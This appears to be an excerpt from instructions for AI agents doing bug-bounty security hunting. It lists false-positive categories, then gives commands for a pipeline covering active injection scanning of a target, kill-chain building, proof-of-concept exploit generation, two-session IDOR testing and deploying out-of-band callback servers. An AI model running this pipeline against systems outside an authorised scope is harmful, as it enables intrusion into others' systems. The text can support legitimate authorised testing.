**Infrastructure/Nodes:** Unauthenticated operator RPC (ecosystem standard), plaintext local signer/CL↔EL communication, default bind to 0.0.0.0 (dev convenience), JWT without `exp` when `iat` freshness enforced, version/health endpoints without auth, no CORS headers on non-browser APIs.

**General:** Operator configuration parameters treated as attacker input, "add rate limiting" without amplification attack, "use checked_X instead of saturating_X" when upstream check exists, error messages containing HTTP status codes or generic library errors (not credentials/PII).

### How to Use Tools

**Full pipeline (single target):**
```bash
# Phase 1: Recon → seed live-hosts.txt and urls.txt
# (run recon tools first: subfaster + httpx + katana)

# Phase 2: Hunt with active injection + JSON output
python3 tools/hunt.py --target TARGET --active --json 2>/dev/null | tee findings.json

# Phase 3: Build kill chains from findings
python3 -c "
import json, sys
from tools.kill_chain import KillChainBuilder
findings = json.load(open('findings.json'))['findings']
builder = KillChainBuilder('TARGET')
chains = builder.build_all_chains(findings)
for c in chains:
    print(f'{c.pattern.chain_id}: {c.pattern.name} (score={c.match_score:.2f}, {c.combined_severity})')
    for s in c.trigger_sequence: print(f'  {s}')
"

# Phase 4: Generate PoC for confirmed findings
python3 -c "from tools.exploit_gen import gen_curl, gen_python_poc; print(gen_curl({'method':'POST','url':'https://target.com/api','headers':{},'body':'test'}))"

# Phase 5: MITRE/OWASP coverage analysis
python3 -c "
import json
from tools.adversary_emulation import AdversaryEmulation
findings = json.load(open('findings.json'))['findings']
emu = AdversaryEmulation('TARGET')
for f in findings:
    emu.classify_finding(f)  # Maps to MITRE ATT&CK + OWASP automatically
cov = emu.compute_coverage(agents_deployed=['web-api-agent'], findings=findings)
mitre_avg = sum(cov.mitre_coverage.values()) / max(len(cov.mitre_coverage), 1)
print(f'MITRE avg: {mitre_avg:.0%}, OWASP gaps: {len(cov.gaps)}')
"
```

**Individual tool usage:**
```bash
# Hunt with auth
python3 tools/hunt.py --target TARGET --cookie 'session=abc123' --active --json

# Hunt with two sessions for IDOR diffing
python3 tools/hunt.py --target TARGET --auth-file-a .private/user-a.json --auth-file-b .private/user-b.json --json

# Generate PoC
python3 -c "from tools.exploit_gen import gen_curl; print(gen_curl({'method':'POST','url':'https://target.com/api','headers':{},'body':'test'}))"

# Fetch Hacktivity intel
python3 -c "from tools.threat_intel import fetch_hacktivity; print(fetch_hacktivity('target-program', limit=10))"

# Check CVEs
python3 -c "from tools.patch_gap import fetch_cves_by_tech; print(fetch_cves_by_tech(['nginx','apache'], days_back=30))"

# Deploy OOB callback infrastructure
python3 tools/infra_deploy.py --type http-callback --port 8080 --dns-port 5353
```

**Rule:** If a tool exists for a task, USE THE TOOL. Do not rewrite its logic. Agents should call `hunt.py --active --json` as their first action after recon — the structured JSON output feeds directly into kill_chain, exploit_gen, and adversary_emulation.
